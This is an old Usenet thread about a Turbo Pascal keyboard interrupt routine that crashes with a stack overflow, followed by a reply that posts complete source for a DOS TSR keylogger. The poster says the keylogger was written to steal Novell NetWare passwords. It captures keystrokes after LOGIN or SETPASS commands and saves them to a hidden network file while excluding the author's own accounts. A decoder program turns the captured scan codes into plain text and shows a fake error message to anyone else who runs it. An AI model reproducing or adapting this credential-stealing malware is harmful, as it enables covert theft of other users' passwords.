I've written an ISR in TP to trap the keyboard. A problem arises when
information is being read from the harddrive and about 30 or so keys have
been pressed. The program that is executing halts with a runtime error 202 -
stack overflow. I've tried increasing the stack memory to the maximum but
this does not help.
Also, I've followed the hints for writing ISR's which was in the SWAG files.
Any help would be appreiated.
Regards
Dan
Interesting problem - I haven't encountered anything like this before. It
sounds suspiciously like the interrupt routine is not restoring the stack
correctly after returning, and so using more stack space every time it is
called.
My suggestion is to check that your code looks like this:
{$F+} {you MUST have far calls for an interrupt!}
procedure int9; interrupt; {must declare it as an interrupt}
var {local vars}
begin
inline($9c); {pushf / push flags}
end;
{The inline command isn't always necessary, it seems to fix up problems with
stack overflows in Pascal, you may want to check the pascal example on
Keep(0). Alternatively what SHOULD be in an interrupt routine is an
instruction "port[$20]:=$20", which allows other interrupts to proceed, but
Pascal (usually) takes care of this automatically}
Hope this helps :)
Twylite
__ _|\ / \ / | _ |__ _| __| Trevor Davel / Twylite
| \ \ / ` / | | | _| da...@beastie.cs.und.ac.za
_| _ \_/ _| ____|___| _| ___| twy...@connx.vironix.co.za
GCS s+:+ !v---@ c++(+++)>++++ U++>+++ !W---- po(+) e+* f++ n---- !y+-
01010100.01110111.01111001.01101100.01101001.01110100.01100101
>Hi...
>I've written an ISR in TP to trap the keyboard. A problem arises when
>information is being read from the harddrive and about 30 or so keys have
>been pressed. The program that is executing halts with a runtime error 202 -
>stack overflow. I've tried increasing the stack memory to the maximum but
>this does not help.
>Also, I've followed the hints for writing ISR's which was in the SWAG files.
>Any help would be appreiated.
Sounds like a typical programming error. Without the source, it is difficult
to know what could be wrong... If it is not too big, mail it to me and I will
look at it. Do not post it to the group. Some people might object to large
postings.
Regards,
Claude.
The following program, which was originally designed to hack the novell
netware passwords by trapping the keyboard, works fine (Sorry for the
comments in German - I'm too lazy to translate them now.):
program Get_Passwords;
{$M $1000,0,0}
Uses Dos,Crt,Network;
{ Network ist eine Unit, die ich geschrieben habe, um Login-Namen usw.
festzustellen.
Die einzige hier verwendete Funktion ist GetUser. Diese Funktion findet
den Usernamen heraus }
type Pwd=Array[0..99] of byte;
type FileType=record
UserName:String[10];
Password:Pwd;
end;
var OldInt2F:pointer; { Multiplex }
OldInt9:procedure; { Keyboard }
OldInt8:pointer; { Timer }
s:string;
Password:Pwd;
Save_Me:FileType;
Save_Pass:File of FileType;
catching,writing,tsr_wr:boolean;
Counter:word;
DosSeg,DosBusy:word;
const oldstackss:word=0; { TSR-Programme, die aus einem "normalen" }
oldstacksp:word=0; { Interrupt heraus in eine Datei schreiben }
stacksw:integer=-1; { wollen, muessen den Stack verbiegen }
intstackss:word=0;
intstacksp:word=0;
{$F+}
{$I-}
procedure GoOldInt(OldInt:Pointer);
{ GoOldInt springt zu einem alten Interrupt-Handler }
INLINE(
$5B/
$58/
$89/$EC/
$5D/
$07/
$1F/
$5F/
$5E/
$5A/
$59/
$87/$EC/
$87/$5E/$00/
$87/$46/$02/
$87/$EC/
$CB);
procedure NewInt8;interrupt; { Neuer Timer-Interrupt }
begin
asm cli { Stack sichern/aendern }
inc word ptr [stacksw]
jnz @a
mov [oldstackss],ss
mov [oldstacksp],sp
mov ss,[intstackss]
mov sp,[intstacksp]
@a: sti
end;
if (writing) and (not tsr_wr) and (Mem[DosSeg:DosBusy]=0) then begin
{ Nur dann schreiben, wenn DOS keine andere Beschaeftigung hat, um
Abstuerze zu verhindern. }
writing:=false;
tsr_wr:=true;
port[$20]:=$20; { Dem Interrupt-Controller mitteilen, dass der Interrupt
beendet ist }
Save_Me.UserName:=GetUser;
if (Save_Me.UserName<>'BERO') and (Save_Me.UserName<>'ROSENKR')
then begin { Meine eigenen Passwoerter nicht abspeichern... }
Save_Me.Password:=Password;
Assign(Save_Pass,'F:\ALLE\DATEN.DBF');
Reset(Save_Pass);
IF IOResult<>0 then Rewrite(Save_Pass) else
Seek(Save_Pass,filesize(Save_Pass));
Write(Save_Pass,Save_Me);
Close(Save_Pass);
tsr_wr:=false;
end;
end;
asm cli { Stack wiederherstellen }
dec word ptr [stacksw]
jge @b
mov ss,oldstackss
mov sp,oldstacksp
@b: sti
end;
GoOldInt(OldInt8);
end;
procedure NewInt9;interrupt; { Neuer Tastatur-Interrupt }
var inp:byte;
begin
if catching then begin
inp:=Port[$60];
if (inp<$80) and (Counter<100) then begin
Password[Counter]:=inp;
Inc(Counter);
end;
end;
asm pushf end;
OldInt9;
end;
procedure NewInt2f(Flags,CS,IP,AX,BX,CX,DX,SI,DI,DS,ES,BP:Word);Interrupt;
{ Neuer Multiplex-Interrupt: DOS-Befehle abfangen }
VAR s:String;
Count:Byte;
begin
IF AX=$AE00 then begin
s:='';
For Count:=1 to Mem[ds:si] do
s:=s+chr(Mem[ds:si+count]);
if (s='LOGIN') or (s='LG') or (s='SETPASS') then begin
s:='';
For Count:=1 to Mem[ds:bx+1] do
s:=s+chr(Mem[ds:bx+count+1]);
For Count:=0 to 99 do Password[Count]:=0;
counter:=0;
catching:=true;
end else if catching then begin
catching:=false;
writing:=true;
Counter:=0;
end;
end;
GoOldInt(OldInt2F);
end;
procedure Init_TSR; { Stack fuer Interrupt-Procedures ermitteln,
DOS-Busy Byte suchen }
begin
IntStackSS:=SSEG;
asm mov [IntStackSP],SP
mov ah,$34
int $21
mov [DosSeg],ES
mov [DosBusy],BX
end;
end;
begin
tsr_wr:=false;
Counter:=0;
catching:=false;
Init_TSR;
GetIntVec($8,OldInt8); { Interrupts setzen }
SetIntVec($8,@NewInt8);
GetIntVec($9,@OldInt9);
SetIntVec($9,@NewInt9);
GetIntVec($2f,OldInt2F);
SetIntVec($2f,@NewInt2F);
Keep(0);
end.
A6.5 "Decode" - Entschluesseln einer von A6.4 erstellten Datei
(Borland Pascal 7.0, DOS, Real-Mode)
program Decode;
Uses Dos,Crt,Network;
type Pwd=Array[0..99] of byte;
type FileType=record
LoginName:String[10];
Password:Pwd;
end;
var s:string;
Read_Me:FileType;
Read_Pass:File of FileType;
c:char;
a:byte;
procedure Decode_Pass(s:Pwd); { Scan-Codes in ASCII-Codes umsetzen }
var count:byte;
begin
count:=0;
repeat
case s[count] of
1: Write('^');
2: Write('1');
3: Write('2');
4: Write('3');
5: Write('4');
6: Write('5');
7: Write('6');
8: Write('7');
9: Write('8');
10: Write('9');
11: Write('0');
12: Write('a');
13: Write('`');
14: Write(chr(8));
16: Write('Q');
17: Write('W');
18: Write('E');
19: Write('R');
20: Write('T');
21: Write('Z');
22: Write('U');
23: Write('I');
24: Write('O');
25: Write('P');
26: Write('s');
27: Write('+');
28: Write('[RETURN]');
29: Write('[STRG]');
30: Write('A');
31: Write('S');
32: Write('D');
33: Write('F');
34: Write('G');
35: Write('H');
36: Write('J');
37: Write('K');
38: Write('L');
39: Write('Oe');
40: Write('Ae');
41: Write('#');
42: Write('[SHIFT]');
43: Write('<');
44: Write('Y');
45: Write('X');
46: Write('C');
47: Write('V');
48: Write('B');
49: Write('N');
50: Write('M');
51: Write(',');
52: Write('.');
53: Write('-');
56: Write('[ALT (GR)]');
else write('[Scan ',s[count],']');
end;
Inc(count);
Until (s[count]=0) or (count=100);
end;
begin
if (GetUser<>'BERO') and (GetUser<>'ROSENKR') then begin
{ Wenn ein Benutzer ausser mir versucht, das Programm zu starten:
Programm mit unverstaendlicher Fehlermeldung abbrechen. }
writeln('SYSTEM ERROR #0231- General Protection Fault at
0131:321D',chr(7));
writeln('Abnormal program termination',chr(7));
halt(0);
end;
Assign(Read_Pass,'F:\ALLE\DATEN.DBF');
Reset(Read_Pass);
IF (DOSError<>0) then begin
writeln('Noch keine Passwoerter da... :-(((((');
Halt(0);
end;
repeat
Read(Read_Pass,Read_Me);
Writeln(Read_Me.LoginName);
Decode_Pass(Read_Me.Password);
Writeln;
repeat until keypressed; c:=ReadKey;
until eof(Read_Pass);
Close(Read_Pass);
end.
Live Long and Prosper,
Starfleet Admiral Bero (be...@rage.fido.de)